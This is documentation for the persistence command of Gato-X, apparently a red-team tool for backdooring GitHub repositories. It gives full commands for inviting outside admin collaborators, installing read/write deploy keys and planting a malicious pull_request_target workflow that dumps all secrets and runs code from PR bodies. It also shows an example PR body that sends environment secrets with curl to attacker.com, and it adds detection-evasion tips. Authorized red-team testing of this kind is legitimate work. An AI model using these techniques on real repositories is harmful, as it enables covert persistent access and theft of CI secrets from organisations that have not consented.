Skip to content

Persistence Command

The persistence command enables red teamers and security researchers to deploy advanced persistence techniques in GitHub repositories. This command provides three main attack vectors based on different privilege levels and creates lasting backdoors that can survive various defensive actions.

Warning: These features should only be used with proper authorization and for ethical security research purposes.

Basic Usage

gato-x persistence [options]
# or
gato-x persist [options]
# or
gato-x p [options]

Options

General Options

Option Description
--target, -t Repository to target for persistence in ORG/REPO format (required)
--author-name, -a Name of the author that all git commits will be made under
--author-email, -e Email that all git commits will be made under

Persistence Technique Options

Note: These options are mutually exclusive - you can only select one technique per command execution.

Collaborator Invitation (Admin Required)

Option Description
--collaborator Invite outside collaborators to the repository (requires admin privileges)
--permission Permission level for collaborator invitations (pull, triage, push, maintain, admin). Defaults to 'admin'

Deploy Key Creation (Admin Required)

Option Description
--deploy-key Create a read/write deploy key for the repository (requires admin privileges)
--key-title, -k Title for the deploy key (default: "Gato-X Deploy Key")
--key-path, -p Path to save the private key file (required when using --deploy-key)

Malicious Workflow Creation (Write Required)

Option Description
--pwn-request Create a malicious pull_request_target workflow on a non-default branch (requires write privileges)
--branch-name, -b Branch name for pwn-request technique (default: "feature/test-workflow")

Persistence Techniques

1. Collaborator Invitation

Privilege Level: Admin required

This technique invites external users as collaborators to maintain access to the repository.

# Invite single collaborator with default admin permission
gato-x persistence --target org/repo --collaborator username1

# Invite multiple collaborators with push permission
gato-x persistence --target org/repo --collaborator username1 username2 username3 --permission push

# Invite collaborator with specific permission level
gato-x persistence --target org/repo --collaborator username1 --permission maintain

How it works: - Sends collaboration invitations to specified GitHub users - Once accepted, collaborators maintain access even if the original PAT is revoked - Collaborators inherit repository permissions based on their invitation level

2. Deploy Key Creation

Privilege Level: Admin required

This technique generates and installs read/write SSH deploy keys with automatic RSA key pair generation.

# Create deploy key with default title
gato-x persistence --target org/repo --deploy-key --key-path ./private_key.pem

# Create deploy key with custom title
gato-x persistence --target org/repo --deploy-key --key-title "Backup Key" --key-path ./backup_key.pem

How it works: - Generates a 2048-bit RSA key pair automatically - Installs the public key as a read/write deploy key in the repository - Saves the private key to the specified file path - Deploy key provides Git access independent of the original PAT

3. Malicious Pull Request Target Workflow

Privilege Level: Write required

This technique creates a weaponized pull_request_target workflow on non-default branches that can be triggered by external contributors.

# Create malicious workflow on default branch name
gato-x persistence --target org/repo --pwn-request

# Create malicious workflow on custom branch
gato-x persistence --target org/repo --pwn-request --branch-name feature/test

How it works: - Creates a new branch with a malicious GitHub Actions workflow - Uses pull_request_target trigger to bypass standard PR security restrictions - Grants full repository permissions to the workflow - Exfiltrates all repository secrets via toJson(secrets) - Executes arbitrary code from PR body content - Can be triggered by any external contributor creating a PR targeting the specified branch

Example Workflows

Complete Persistence Setup

# Step 1: Create deploy key for Git access
gato-x persistence --target victim/repo --deploy-key --key-title "Maintenance Key" --key-path ./maint_key.pem

# Step 2: Invite backup collaborator with admin privileges
gato-x persistence --target victim/repo --collaborator backup-user --permission admin

# Step 3: Create workflow backdoor
gato-x persistence --target victim/repo --pwn-request --branch-name feature/ci-improvements

Triggering Workflow Persistence

After creating a malicious workflow, trigger it by:

  1. Creating a pull request targeting the specified branch
  2. Including shell commands in the PR body
  3. The workflow will execute the commands and exfiltrate secrets

Example PR body: 

# This is a test PR
whoami
env | grep -E "(SECRET|TOKEN|KEY)"
curl -X POST https://attacker.com/exfil -d "$(env)"

Security Considerations

Persistence Durability

  • Deploy Keys: Removed when the creating PAT is revoked or user access is removed
  • Collaborators: Maintain access until manually removed by repository administrators
  • Malicious Workflows: Persist until the branch is deleted or workflow file is removed

Detection Evasion

  • Use realistic branch names and workflow titles
  • Space out persistence techniques over time
  • Use legitimate-looking collaborator usernames
  • Deploy keys can use descriptive titles that blend with legitimate keys

Troubleshooting

Permission Errors

  • Admin techniques: Verify you have admin access to the target repository
  • Write techniques: Verify you have write access to the target repository
  • API limits: Respect GitHub API rate limits

Common Issues

  • Deploy key conflicts: GitHub prevents duplicate SSH keys; ensure your generated key is unique
  • Branch conflicts: Choose branch names that don't conflict with existing branches
  • Workflow validation: GitHub validates workflow syntax; malformed YAML will be rejected